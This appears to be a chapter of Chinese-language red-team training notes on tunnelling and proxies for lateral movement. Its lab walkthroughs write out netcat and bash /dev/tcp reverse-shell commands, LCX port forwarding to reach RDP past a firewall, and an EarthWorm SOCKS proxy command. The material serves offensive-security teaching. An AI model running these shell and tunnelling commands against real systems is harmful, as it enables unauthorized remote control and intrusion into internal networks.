七、隧道代理(红队)
1. 隧道作用
攻击者通过边界主机进入内网,往往会利用它当跳板进行横向渗透
但现在的 内部网络大多部署了很多安全设各,网络结构错综复杂
对于某些系统的访问会受到各种阻挠
这就需要借助代理去突破这些限制
因此面对不同的网络环境对于代理的选择及使用显得格外重要
学校网络拓扑
企业网络拓扑
2. 隧道基本概念
在隧道中有很多的概念一定要搞明白,不然没有办法学习
常见的有几个概念
1、反弹SHELL
2、端口转发
3、正向连接
4、反向连接
5、协议隧道
2.1 反弹SHELL
反弹Shell是指在攻击机监听某个端口
然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的 Shell。
通常在目标网络有防火墙或其他因素限制
导致无法持续控制目标,或执行命令受阻等情况时
需要进行反弹Shell
2.2 端口转发
若攻克的边界主机可访问外网,则可以考虑使用端口转发进行内网穿透
端口转发就是将一个端口转发到另一个端口
例如:由于配置了防火墙只允许web访问,
这个时候攻击者想访问3389端口,远程连接是不可以的
就需要使用进行端口转发
2.3 正反向连接
正向连接,反向连接的概念取决于谁主动连接谁
比如如下:
攻击者主动连接受害者,那就是正向连接
正向用于纯内网IP
受害者主动连接攻击者,那就是反向链接
反向居多
2.4 协议隧道
当我们去搭建隧道的时候,通常使用不同的协议来躲避检测
常见的有 HTTP隧道,SOCKS隧道,DNS隧道,ICMP隧道,SSH隧道等等
最常见TCP
根据不同协议划分不同隧道
翻墙原理——建立隧道---网络管理员看的一清二楚
暗网原理
VPS从美国访问到欧洲到非洲到网站
原理上可以追踪到,一个一个看日志麻烦
3. 反弹SHELL的方式
反弹Shell是指在攻击机监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机 反弹得到目标机的 Shell。
通常在目标网络有防火墙或其他因素限制,导致无法持续控制 目标,或执行命令受阻等情况时需要进行反弹Shell
常见反弹SHELL方式:
1、Bash反弹shel
2、NC反弹shell
3、python反弹shell
4、……
3.1 NC反弹SHELL
Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。
通NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作,
常用参数如下
3.1.1 正向反弹
实验拓扑如下图
攻击者机器 128 和靶机244 可以相互的访问,这个时候可以使用正向shell
攻击者可以主动连接靶机,攻击者拿到shell
1、在靶机上运行:
nc -lvvp 1111 -e C:\Windows\System32\cmd.exe
让其处于监听状态
2、在攻击机上运行
IP换成对应靶机IP
nc 192.168.18.244 1111
成功连上
3.1.2 反向反弹
实验拓扑如下图
攻击者机器 128不能直接访问靶机,但是靶机可以访问攻击者的机器,这个时候使用反向shell
1、在攻击者机器运行
nc.exe -lvvp 1111
监听1111端口
2、
nc -e /bin/bash 192.168.1.112 1111
连接成功
钓鱼的本质就是反弹
3.2 BASH反弹SHELL
Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell
很多电脑没有NC工具,使用Linux自带的
打开一个交互窗口,把shell发送给攻击IP
bash -i >& /dev/tcp/攻击机_IP/攻击机端口 0>&1 _ (反向连接)
bash -i >& /dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >& /dev/udp/攻击机_IP/攻击机端口 0>&1 _
bash -i >& /dev/udp/攻击机_IP/攻击机端口 0>&2
在windows电脑(攻击者)中打开一个监听端口
1、在攻击者机器运行
nc.exe -lvvp 7788
监听1111端口
2、在靶机上运行
bash -i >& /dev/tcp/192.168.1.112/7788 0>&1
在攻击者电脑上收到
4. 端口转发
LCX是一款端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。
LCX有端口映射和端口转发两大功能,
例如
当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;
当目标处于内网或目标配置的策略只允许访问固定某一端口时 ,可以通过端口转发突破限制端口转发:
Lcx -listen<监听slave请求的端口><等待连接的端口>
Lcx -slave<攻击机ip><监听端口><目标ip><目标端口>
在靶机中关闭远程控制电脑的3389端口,攻击者无法直接通过远程控制连接
故端口转发
攻击者电脑执行
把靶机(127.0.0.1)的3389端口转给攻击者(192.168.1.112)的1111端口
Lcxz转发工具.exe -slave 192.168.1.112 1111 127.0.0.1 3389
打开监听端口,在攻击者电脑执行
攻击者电脑上接收到流量后,全部发送给攻击者的2222端口
Lcx -listen 1111 2222
连接成功
现在要想访问靶机的3389端口,就要访问本机的2222端口
5. 应用层代理
5.1 SOCKS隧道
常见的代理工具有 regeorg,FRP,EW,NPS,Termite,
通过上述的代理,配合代理客户端实现内网漫游
EW全称叫做EarthWorm简称叫做EW,它是一套便携式的网络工具,
具有SOCKS5服务架设和端口转发两大核心功能,并且包含着LCX工具的功能,
可以在复杂的网络环境实现网络穿透
可以已正向和方向以及多级级联的方式建立网络隧道
正向代理
/ew -s ssocksd -l 1080